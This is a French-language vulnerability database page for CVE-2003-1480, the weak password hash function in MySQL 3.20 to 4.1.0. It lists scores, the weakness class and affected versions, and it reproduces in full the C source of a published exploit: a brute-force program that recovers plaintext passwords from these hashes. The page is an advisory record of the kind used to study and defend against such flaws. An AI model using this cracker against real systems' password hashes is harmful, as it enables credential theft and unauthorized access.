CVE-2003-1480 : Détail

CVE-2003-1480

A02-Cryptographic Failures
0.34%V3
Network
2007-10-24
23h00 +00:00
2024-09-16
22h15 +00:00
CVE.org
NVD
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Descriptions du CVE

MySQL 3.20 through 4.1.0 uses a weak algorithm for hashed passwords, which makes it easier for attackers to decrypt the password via brute force methods.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-310 Category : Cryptographic Issues
Weaknesses in this category are related to the design and implementation of data confidentiality and integrity. Frequently these deal with the use of encoding techniques, encryption libraries, and hashing algorithms. The weaknesses in this category could lead to a degradation of the quality data if they are not addressed.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.3 AV:N/AC:M/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 22565

Date de publication : 2003-05-04 22h00 +00:00
Auteur : Secret Squirrel
EDB Vérifié : Yes

// source: https://www.securityfocus.com/bid/7500/info MySQL has been reported to implement a weak password encryption algorithm. It has been reported that the MySQL function used to encrypt MySQL passwords makes just one pass over the password and employs a weak left shift based cipher. The hash may be cracked in little time using a bruteforce method. An attacker may use information recovered in this way to aid in further attacks launched against the underlying system. /* This program is public domain. Share and enjoy. * * Example: * $ gcc -O2 -fomit-frame-pointer mysqlfast.c -o mysqlfast * $ mysqlfast 6294b50f67eda209 * Hash: 6294b50f67eda209 * Trying length 3 * Trying length 4 * Found pass: barf * * The MySQL password hash function could be strengthened considerably * by: * - making two passes over the password * - using a bitwise rotate instead of a left shift * - causing more arithmetic overflows */ #include <stdio.h> typedef unsigned long u32; /* Allowable characters in password; 33-126 is printable ascii */ #define MIN_CHAR 33 #define MAX_CHAR 126 /* Maximum length of password */ #define MAX_LEN 12 #define MASK 0x7fffffffL int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary) { int i, c; u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2; u32 newstate1, newstate2, newstate3; u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2]; u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3]; i = -1; sum = 7; state1_ary[0] = 1345345333L; state2_ary[0] = 0x12345671L; while (1) { while (i < stop) { i++; pass_ary[i] = MIN_CHAR; step_ary[i] = (state1_ary[i] & 0x3f) + sum; xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8); sum += MIN_CHAR; state1_ary[i+1] = state1_ary[i] ^ xor_ary[i]; state2_ary[i+1] = state2_ary[i] + ((state2_ary[i] << 8) ^ state1_ary[i+1]); } state1 = state1_ary[i+1]; state2 = state2_ary[i+1]; step = (state1 & 0x3f) + sum; xor1 = step*MIN_CHAR + (state1 << 8); xor2 = (state2 << 8) ^ state1; for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) { newstate2 = state2 + (xor1 ^ xor2); newstate1 = state1 ^ xor1; newstate3 = (targ2 - newstate2) ^ (newstate2 << 8); div = (newstate1 & 0x3f) + sum + c; diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK; if (diff % div != 0) continue; d = diff / div; if (d < MIN_CHAR || d > MAX_CHAR) continue; div = (newstate3 & 0x3f) + sum + c + d; diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK; if (diff % div != 0) continue; e = diff / div; if (e < MIN_CHAR || e > MAX_CHAR) continue; pass_ary[i+1] = c; pass_ary[i+2] = d; pass_ary[i+3] = e; return 1; } while (i >= 0 && pass_ary[i] >= MAX_CHAR) { sum -= MAX_CHAR; i--; } if (i < 0) break; pass_ary[i]++; xor_ary[i] += step_ary[i]; sum++; state1_ary[i+1] = state1_ary[i] ^ xor_ary[i]; state2_ary[i+1] = state2_ary[i] + ((state2_ary[i] << 8) ^ state1_ary[i+1]); } return 0; } void crack(char *hash) { int i, len; u32 targ1, targ2, targ3; int pass[MAX_LEN]; if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) { printf("Invalid password hash: %s\n", hash); return; } printf("Hash: %08lx%08lx\n", targ1, targ2); targ3 = targ2 - targ1; targ3 = targ2 - ((targ3 << 8) ^ targ1); targ3 = targ2 - ((targ3 << 8) ^ targ1); targ3 = targ2 - ((targ3 << 8) ^ targ1); for (len = 3; len <= MAX_LEN; len++) { printf("Trying length %d\n", len); if ( crack0(len-4, targ1, targ3, pass) ) { printf("Found pass: "); for (i = 0; i < len; i++) putchar(pass[i]); putchar('\n'); break; } } if (len > MAX_LEN) printf("Pass not found\n"); } int main(int argc, char *argv[]) { int i; if (argc <= 1) printf("usage: %s hash\n", argv[0]); for (i = 1; i < argc; i++) crack(argv[i]); return 0; }

Products Mentioned

Configuraton 0

Mysql>>Mysql >> Version 4.1.0

Oracle>>Mysql >> Version 3.20

Oracle>>Mysql >> Version 3.20.32a

Oracle>>Mysql >> Version 3.21

Oracle>>Mysql >> Version 3.22

Oracle>>Mysql >> Version 3.22.26

Oracle>>Mysql >> Version 3.22.27

Oracle>>Mysql >> Version 3.22.28

Oracle>>Mysql >> Version 3.22.29

Oracle>>Mysql >> Version 3.22.30

Oracle>>Mysql >> Version 3.22.32

Oracle>>Mysql >> Version 3.23.2

Oracle>>Mysql >> Version 3.23.3

Oracle>>Mysql >> Version 3.23.4

Oracle>>Mysql >> Version 3.23.5

Oracle>>Mysql >> Version 3.23.8

Oracle>>Mysql >> Version 3.23.9

Oracle>>Mysql >> Version 3.23.10

Oracle>>Mysql >> Version 3.23.22

Oracle>>Mysql >> Version 3.23.23

Oracle>>Mysql >> Version 3.23.24

Oracle>>Mysql >> Version 3.23.25

Oracle>>Mysql >> Version 3.23.26

Oracle>>Mysql >> Version 3.23.27

Oracle>>Mysql >> Version 3.23.28

Oracle>>Mysql >> Version 3.23.28

Oracle>>Mysql >> Version 3.23.29

Oracle>>Mysql >> Version 3.23.30

Oracle>>Mysql >> Version 3.23.31

Oracle>>Mysql >> Version 3.23.32

Oracle>>Mysql >> Version 3.23.33

Oracle>>Mysql >> Version 3.23.34

Oracle>>Mysql >> Version 3.23.35

Oracle>>Mysql >> Version 3.23.36

Oracle>>Mysql >> Version 3.23.37

Oracle>>Mysql >> Version 3.23.38

Oracle>>Mysql >> Version 3.23.39

Oracle>>Mysql >> Version 3.23.40

Oracle>>Mysql >> Version 3.23.41

Oracle>>Mysql >> Version 3.23.42

Oracle>>Mysql >> Version 3.23.43

Oracle>>Mysql >> Version 3.23.44

Oracle>>Mysql >> Version 3.23.45

Oracle>>Mysql >> Version 3.23.46

Oracle>>Mysql >> Version 3.23.47

Oracle>>Mysql >> Version 3.23.48

Oracle>>Mysql >> Version 3.23.49

Oracle>>Mysql >> Version 3.23.50

Oracle>>Mysql >> Version 3.23.51

Oracle>>Mysql >> Version 3.23.52

Oracle>>Mysql >> Version 3.23.53

Oracle>>Mysql >> Version 3.23.53a

Oracle>>Mysql >> Version 3.23.54

Oracle>>Mysql >> Version 3.23.54a

Oracle>>Mysql >> Version 3.23.55

Oracle>>Mysql >> Version 3.23.56

Oracle>>Mysql >> Version 4.0.0

Oracle>>Mysql >> Version 4.0.1

Oracle>>Mysql >> Version 4.0.2

Oracle>>Mysql >> Version 4.0.3

Oracle>>Mysql >> Version 4.0.5a

Oracle>>Mysql >> Version 4.0.7

Oracle>>Mysql >> Version 4.0.8

Oracle>>Mysql >> Version 4.0.9

Oracle>>Mysql >> Version 4.0.11

Oracle>>Mysql >> Version 4.1.0

Références

http://secunia.com/advisories/8753
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/7500
Tags : vdb-entry, x_refsource_BID